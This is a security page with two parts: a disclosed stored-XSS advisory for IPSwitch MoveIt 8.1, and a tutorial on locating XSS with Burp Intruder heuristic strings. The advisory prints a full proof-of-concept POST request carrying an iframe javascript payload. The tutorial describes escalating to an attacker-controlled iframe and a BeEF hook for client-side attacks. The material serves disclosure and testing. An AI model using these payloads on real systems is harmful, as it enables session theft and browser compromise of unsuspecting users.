IPSwitch MoveIt Stored Cross Site Scripting (XSS)

Date: 1-31-2017
Software Link: https://www.ipswitch.com/moveit
Affected Version: 8.1-9.4 (only confirmed on 8.1 but other versions prior to 9.5 may also be vulnerable)
Exploit Author: [email protected]
Contact: https://twitter.com/crowdshield
Vendor Homepage: https://www.ipswitch.com
Category: Webapps
Attack Type: Remote
Impact: Data/Cookie Theft

Description

IPSwitch MoveIt v8.1 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. Attackers can leverage this vulnerability to send malicious messages to other users in order to steal session cookies and launch client-side attacks.

Proof of Concept

The vulnerability lies in the Send Message -> Body Text Area input field.


POST /human.aspx?r=692492538 HTTP/1.1
Host: host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://host.com/human.aspx?r=510324925
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 598

czf=9c9e7b2a9c9e7b2a9c9e7b2a9c9e7b2a9c066e4aee81bf97f581826d8c093953d82d2b692be5490ece13e6b23f1ad09bda751db1444981eb029d2427175f9906&server=host.com&url=%2Fhuman.aspx&instid=2784&customwizlogoenabled=0&customwiznameup=&customwizzipnameup=5Bdefault%5D&transaction=secmsgpost&csrftoken=1a9cc0f7aa7ee2d9e0059d6b01da48b69a14669d&curuser=kuxt36r50uhg0sXX&arg12=secmsgcompose&Arg02=&Arg03=452565093&Arg05=edit&Arg07=forward&Arg09=&Arg10=&opt06=&Opt08=&opt01=username&opt02=&opt03=&arg01=FW%3A+test&Opt12=1&arg04=<iframe/src=javascript:alert(1)>&attachment=&opt07=1&arg05_Send=Send

Solution

Update to version 9.5

Disclosure Timeline

1/30/2017 – Disclosed details of vulnerability to IPSwitch.
1/31/2017 – IPSwitch confirmed the vulnerability and verified the fix as of version 9.5 and approved public disclosure of the vulnerability.

InjectX to Find XSS Tutorial

Overview

In this tutorial, I will cover a simple technique to identify reflected values in a target web application and easily locate Cross-Site Scripting vulnerabilities. By injecting unique heuristic strings, we can quickly check if the value we are testing is reflected and not being sanitized by the application. I have used this technique in the past and it has helped me find various injection bugs that have paid up to $500 in some cases.

Requirements

In order to use this technique, you’ll need Burpsuite along with the custom grep strings and fuzz lists provided in this tutorial to get started. For more advanced tricks covered at the end of this tutorial, you’ll also need Apache and Beef (Browser Exploitation Framework).

Why is this helpful to me?

Using this technique allows you to do the following:

1. Find reflected values quickly (only 3 requests per injection point)
2. Find the location of all reflected values in the response
3. Confirm XSS vectors via heuristic testing
4. Exploit XSS vectors with certainty

Great! How do I do it?

1. Download the Burp attack configuration or manual payload and grep strings here
2. Load the attack configuration or manual payload lists from the Burp Intruder menu

3. Copy/paste the request to the Intruder screen and add injection points:

– Form fields
– GET/POST parameters
– Header fields
– Cookie values
– URI structure

NOTE: You’ll need to copy/paste the hostname into the “Host” tab of the Intruder configuration for this to work.

4. Run the attack and analyze the results. Is “INJECTX” reflected? If so, are HTML special characters such as <>/()”’ sanitized? If not, XSS is possible.

5. If HTML special characters are reflected in the response, proceed to XSS exploitation

Workflow:

1. Is the injection point reflected in the response? If yes, goto step 2. As seen below, the “INJECTX” string is found which confirms the payload was reflected.

2. If the payload was reflected in the response, where in the response is it reflected? Search for “INJECTX” to find all injection points. Go to step 3.
3. Once reflected injection points are found, which characters are being sanitized? Again, search for “INJECTX” in the response and look for the heuristic test characters to see which are still untampered. At a minimum, we’ll need “‘>” and “(INJECTX)” as your grep strings. If these characters or search strings are found, then XSS is possible. Proceed to step 4.

4. If XSS is possible, inject our “real” XSS payloads either through manual browser attempts, Burp Intruder or Repeater to exploit the XSS vector. In this case, I’m using an < iframe > that’s linked back to my web server.

 

Remote XSS Confirmation

Using a remote payload such as an < iframe > or < img >, you can get remote confirmation via Apache logs which also help keep track of blind and stored XSS vectors. This will also list the referring page the XSS loaded from along with the source IP which helps to keep track of which page and hosts are vulnerable.

Advanced XSS and Client-side Attacks via Beef

Since we control the < iframe > page, we can inject whatever HTML/JS code we want. In this case, it loads a Beef (Browser Exploitation Framework) hook.js which can be used to launch more advanced XSS/client side attacks.

Drawbacks and limitations:

– XSS vectors must be reflected in the static HTML response
– Does not work with DOM XSS injections unless additional plugins such as BurpKit are used or JS is rendered manually using other techniques
– Does not work great for blind XSS vectors
– Does not take into account XSS bypass methods if input is sanitized

Demo Video

https://www.youtube.com/watch?v=NdGGCNjQB2A

Download

https://github.com/1N3/IntruderPayloads

Questions? Comments/feedback?

Twitter: https://twitter.com/CrowdShield
BugCrowd: https://bugcrowd.com/1N3/
GitHub: https://github.com/1N3
Website: https://xerosecurity.com